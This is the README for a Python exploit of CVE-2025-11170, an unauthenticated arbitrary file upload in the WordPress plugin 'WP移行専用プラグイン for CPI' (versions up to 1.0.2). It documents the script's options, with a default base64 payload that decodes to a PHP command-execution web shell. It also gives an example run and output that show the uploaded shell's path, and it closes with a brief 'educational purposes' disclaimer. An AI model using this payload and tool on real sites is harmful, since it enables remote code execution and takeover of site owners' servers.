nxploited/cve-2025-11170WP移行専用プラグイン for CPI <= 1.0.2 - Unauthenticated Arbitrary File Upload
WP移行専用プラグイン for CPI <= 1.0.2 - Unauthenticated Arbitrary File Upload
The WP移行専用プラグイン for CPI plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the Cpiwm_Import_Controller::import function in all versions up to, and including, 1.0.2.
This allows unauthenticated attackers to upload arbitrary files to the affected site's server, potentially enabling remote code execution.
CVE-2025-11170.py| Argument | Description |
|---|---|
-u, --url | Base target URL (e.g., http://target.com/wordpress/). The script appends wp-admin/admin-ajax.php automatically. |
-f, --filename | Shell or file name to upload. Default: shell.php |
-d, --data | File content in base64 (or raw text). Default: PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+ |
-i, --index | Index field value. Default: 0 |
-H, --headers | Extra HTTP headers (format: X-Key:Value;K2:Value2) |
-t, --timeout | Timeout for HTTP request (seconds). Default: 10 |
--retries | Number of retry attempts. Default: 3 |
--backoff | Backoff factor between retries (seconds). Default: 0.7 |
-v, --verbose | Increase verbosity for debugging (repeatable) |
Nxploited_parse_args
Parses and validates input arguments. Ensures the right endpoint structure, headers, and data encoding.
Nxploited_logging
Sets up advanced logging and verbosity for a detailed or minimal runtime output.
Nxploited_retry_session
Initializes a persistent session with retry and backoff logic for resilient communications.
Nxploited_build_payload
Constructs the POST request parameters for exploitation.
Nxploited_send
Performs the actual POST request to the vulnerable endpoint and manages responses/errors.
Nxploited_output_result
Processes and formats the response, displaying shell path on success, or debugging info otherwise.
python3 CVE-2025-11170.py -u "http://192.168.100.74:888/wordpress/" -f "shell.php"
Example Output:
Uploading shell...
Processing response...
[+] Upload successful!
Shell path:
http://192.168.100.74:888/wordpress/wp-content/plugins/cpi-wp-migration/storage/shell.php
Nxploited
My GitHub: https://github.com/Nxploited
This script is provided for educational purposes only.
Usage of this exploit on targets without proper authorization may be illegal.
The author assumes NO responsibility for any misuse, damages, or legal consequences.
GitHub: Nxploited
Telegram: KNxploited
By: Nxploited ( Khaled Alenazi )